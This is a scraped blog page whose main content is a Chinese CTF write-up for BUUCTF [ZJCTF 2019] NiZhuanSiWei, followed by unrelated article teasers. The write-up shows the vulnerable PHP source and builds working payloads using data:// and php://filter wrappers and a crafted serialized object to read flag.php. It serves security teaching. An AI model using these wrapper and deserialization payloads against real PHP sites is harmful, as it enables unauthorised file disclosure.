news 2026/4/19 1:29:23

BUUCTF [ZJCTF 2019] NiZhuanSiWei详细WP

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
BUUCTF [ZJCTF 2019] NiZhuanSiWei详细WP

# [ZJCTF 2019] NiZhuanSiWei

题目考察 **PHP 伪协议** 和 **反序列化**。

---

## 1. 观察源码

题目直接给出了 PHP 源码:

```php
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
```

可以看到,需要通过 GET 传入三个参数:

- `text`
- `file`
- `password`

---

## 2. 第一层:构造 `text`

这里要满足:

```php
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
```

也就是说:

- `text` 不能为空
- `file_get_contents($text)` 读取到的内容必须是 `welcome to the zjctf`

这里可以用 `data://` 伪协议来构造数据。

```php
payload: ?text=data://text/plain,welcome to the zjctf
```

这样 `file_get_contents()` 读到的内容就是:

```php
welcome to the zjctf
```

从而通过第一层判断。

---

## 3. 第二层:分析 `file` 和 `password`

继续往下看:

```php
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
```

这里有两个关键点:

1. `file` 参数里不能直接出现 `flag`
2. 存在 `include($file)` 和 `unserialize($password)`

而且题目还提示了一个文件:`useless.php`

这时很自然就想到,先把 `useless.php` 的源码拿到。

---

## 4. 利用 `php://filter` 读源码

这里可以构造:

```php
payload: file=php://filter/read=convert.base64-encode/resource=useless.php
```

这样可以拿到一段 base64 编码后的源码:

```text
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=
```

解码后得到:

```php
<?php

class Flag{ //flag.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
```

---

## 5. 反序列化利用

看到这里思路就很清楚了。

原代码中有:

```php
$password = unserialize($password);
echo $password;
```

如果我们传进去的是一个 `Flag` 对象,那么:

- `unserialize($password)` 会还原对象
- `echo $password` 会触发 `__toString()`
- 而 `__toString()` 里会执行:

```php
file_get_contents($this->file)
```

所以只要让:

```php
$this->file = "flag.php"
```

就可以读取 `flag.php` 的内容。

---

## 6. 构造序列化字符串

本地写一段代码生成序列化结果:

```php
<?php

class Flag{
public $file = "flag.php";
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}

$password = new Flag();
echo serialize($password);
?>
```

得到结果:

```php
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
```

---

## 7. 最终 payload

最终构造:

```text
http://xxx/?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
```

访问之后执行流程就是:

1. `text` 用 `data://` 通过校验
2. `file=useless.php` 不包含 `flag`,成功通过过滤
3. `include(useless.php)` 加载 `Flag` 类
4. `unserialize($password)` 还原出 `Flag` 对象
5. `echo $password` 触发 `__toString()`
6. 读取 `flag.php`

查看源码即可拿到 flag。

---

## 8. 知识点简单总结

### `data://`

`data://` 可以让我们直接构造一段可读取的数据。

比如:

```php
data://text/plain,hello
```

被 `file_get_contents()` 读取后,得到的就是 `hello`。

---

### `php://filter`

`php://filter` 常用来读源码。

比如:

```php
php://filter/read=convert.base64-encode/resource=useless.php
```

表示读取 `useless.php`,并把内容进行 base64 编码输出。

---

## 9. 总结

这题整体思路不算复杂,关键就是把几步串起来:

- 用 `data://` 绕过第一层判断
- 用 `php://filter` 读取 `useless.php` 源码
- 找到 `Flag` 类
- 通过反序列化构造对象
- 利用 `echo` 触发 `__toString()`,最终读取 `flag.php`

这题很经典,属于 **PHP 伪协议 + 反序列化 + 魔术方法利用** 的结合题。

---

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/19 1:22:15

从双非到东南网安:一名普通考生的备考心路与策略复盘

1. 从迷茫到坚定&#xff1a;我的考研目标选择历程 作为一个双非院校的普通学生&#xff0c;我最初对考研这件事充满了迷茫。记得大三上学期结束时&#xff0c;身边的同学都在讨论考研目标&#xff0c;而我却连考什么专业、什么学校都没想清楚。这种状态持续了整整半年&#xf…

作者头像 李华
网站建设 2026/4/19 1:22:15

终极指南:如何用Bioicons免费开源图标库彻底改变科研可视化

终极指南&#xff1a;如何用Bioicons免费开源图标库彻底改变科研可视化 【免费下载链接】bioicons A library of free open source icons for science illustrations in biology and chemistry 项目地址: https://gitcode.com/gh_mirrors/bi/bioicons Bioicons是一个专为…

作者头像 李华
网站建设 2026/4/19 1:21:27

我受够了。即梦一个视频要排两天队,橘子AI三分钟搞定。

先说一下&#xff0c;我不是什么AI大神&#xff0c;就是个做短视频的普通创作者。 去年开始用AI生成视频素材&#xff0c;一开始用的即梦2.0。说实话&#xff0c;效果确实不错&#xff0c;画质好&#xff0c;动作也自然。但有一个问题让我越来越崩溃——排队。 不是几分钟&am…

作者头像 李华
网站建设 2026/4/19 1:20:01

蓝桥杯单片机 | 实战解析【进阶02】定时器中断下的长短按键识别与数码管动态显示

1. 定时器中断与长短按键识别原理 在单片机开发中&#xff0c;按键识别是最基础也最容易出问题的功能之一。我刚开始接触蓝桥杯单片机时&#xff0c;最头疼的就是按键抖动和误触发问题。后来发现&#xff0c;定时器中断是解决这些问题的银弹。 定时器中断就像是你家厨房里的定时…

作者头像 李华
网站建设 2026/4/19 1:17:17

04月19日AI每日参考:OpenAI豪掷200亿押注Cerebras,ChatGPT用户突破10亿

今日概览 今天AI圈有两条主线值得重点关注。一是算力军备赛再度升温&#xff1a;OpenAI与Cerebras签下超200亿美元芯片采购协议&#xff0c;同时获得股权&#xff0c;这是AI公司绑定算力供应商的最大单笔交易之一。二是国内AI硬件与Agent落地提速&#xff1a;联想、科大讯飞同…

作者头像 李华